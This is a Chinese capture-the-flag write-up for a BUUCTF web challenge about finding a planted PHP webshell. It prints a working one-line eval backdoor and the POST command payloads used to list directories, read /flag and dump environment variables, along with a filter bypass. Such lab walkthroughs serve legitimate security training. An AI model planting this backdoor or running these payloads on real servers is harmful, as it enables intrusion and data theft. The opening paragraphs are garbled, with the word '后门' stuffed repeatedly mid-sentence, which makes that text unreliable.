buuctfwebshell后门

BUUCTF 的后门 Web 题里，有一道叫“webshell后门”的后门题目，很多人第一次做会卡在“我明明找到了后门，后门但 flag 在哪”这个环节。后门这道题的后门核心不是让你 getshell，而是后门让你从一堆 webshell 里认出哪个是真正的后门，并且知道它连向哪里。后门

题目给的后门是一个网站目录，里面文件不少，后门看起来像是后门一个被入侵过的站点。你访问首页，后门可能只看到几个普通页面。后门但题目名字已经点明了——webshell后门。后门那就得去找那些不该存在的后门 php 文件。常见思路是后门扫目录，或者直接看源码里有没有可疑的 include。我当时做的时候，先看了 index.php，没发现异常。然后用 dirsearch 跑了一下，结果里有个 shell.php，状态码 200，大小很小。点进去，页面空白。这反而更可疑。

空白页不代表没东西。查看源码，发现里面只有一行：<?php @eval($_POST['cmd']); ?>。典型的 POST 型一句话木马。但题目不会让你直接连上去执行命令拿 flag，因为 flag 不在当前目录。你得先确认这个 webshell 能不能用。用 Burp 或者 curl 发一个 cmd=phpinfo();，返回了 phpinfo 页面，说明木马有效。接下来就是找 flag。通常 flag 在根目录或者上级目录。执行 cmd=system('ls /');，看到有个 flag 文件，但权限不够，读不了。再试 cmd=system('cat /flag');，提示 permission denied。

这时候很多人会想提权，但题目环境一般不允许。换个思路，看看当前目录有没有线索。执行 cmd=system('ls -la');，发现当前目录下有个 .htaccess 或者 config.php，里面可能存了数据库密码或者 flag 路径。我那次看到的是一个 backup 目录，进去后有个 flag.txt，但内容被 base64 编码了。解码后得到 flag。也有版本是 flag 直接放在环境变量里，用 cmd=system('env'); 就能看到。

这道题真正想考的是你对 webshell 的敏感度。一个正常的 Web 应用不会出现 eval($_POST[...]) 这种代码。它要么是别人留的后门，要么是题目故意放的入口。找到之后，不要急着提权，先看看当前权限能读到什么。很多时候 flag 就藏在 web 目录的某个角落，只是文件名不起眼。比如 1.php、test.php、upload.php，都可能藏着一句话。

另外，BUUCTF 的环境里，webshell 后门题有时会结合文件包含或者伪协议。比如你找到的 shell 不是直接 eval，而是 include($_GET['file']);，那就得用 php://filter 或者 data:// 来读源码。但“webshell后门”这个题名，通常就是最直接的那种——一个 POST 参数，一个 eval。别想复杂了。

我印象比较深的是，有一次我扫到了 shell.php，但用蚁剑连不上，因为题目禁了某些函数。后来换成 system 可以执行，但 cat 被过滤。用 tac 或者 nl 代替就行。这种小细节在真实渗透里也常见，不是所有命令都能用。题目没告诉你过滤了什么，得自己试。

最后拿到 flag 的时候，回头看整个流程：扫目录 → 发现可疑 php → 确认木马 → 执行命令 → 找 flag 文件 → 读取。没有花哨的技巧，就是耐心和细心。BUUCTF 上很多 Web 题都是这样，考点不在漏洞多高级，而在于你能不能从一堆噪音里找到那个异常点。webshell后门这道题，异常点就是那个不该存在的 php 文件。找到它，你就赢了一半。